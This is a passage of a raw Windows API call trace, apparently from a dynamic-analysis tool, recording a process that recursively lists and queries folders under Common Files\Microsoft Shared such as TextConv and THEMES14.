[0051.845] GetLastError () returned 0x12 [0051.845] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.845] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0051.846] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0051.846] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.846] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0051.846] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0051.847] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0051.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef6610 [0051.847] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef6610, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xef6610, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0051.847] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef6610) returned 1 [0051.847] NtClose (Handle=0x17c) returned 0x0 [0051.847] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.847] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.847] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0051.847] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.847] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0051.847] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x300000, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.848] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x300000, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0051.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1570 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4730 [0051.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.848] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1590 [0051.848] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4838 [0051.848] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.849] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x300000, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0051.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef15b0 [0051.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4940 [0051.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.849] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x300000, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0051.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef15d0 [0051.849] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4a48 [0051.849] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.849] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x300000, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0051.849] GetLastError () returned 0x12 [0051.849] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0051.849] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0051.850] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.850] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0051.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0051.850] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0051.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef6610 [0051.850] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef6610, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef6610, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0051.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef6610) returned 1 [0051.850] NtClose (Handle=0x17c) returned 0x0 [0051.850] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0051.850] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0051.884] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.884] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0051.884] GetLastError () returned 0x12 [0051.884] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0051.884] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0051.884] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.884] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0051.884] GetLastError () returned 0x12 [0051.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0051.884] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0051.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.884] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x300000, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0051.884] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x300000, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0051.884] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0051.884] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x300000, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0051.884] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x300000, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0051.884] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x300000, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0051.884] GetLastError () returned 0x12 [0051.884] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.885] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0051.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0051.885] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.885] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0051.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.885] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0051.968] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0051.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef6610 [0051.970] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef6610, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xef6610, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0051.972] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef6610) returned 1 [0051.973] NtClose (Handle=0x170) returned 0x0 [0051.975] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.981] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0052.027] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.030] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0052.031] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, 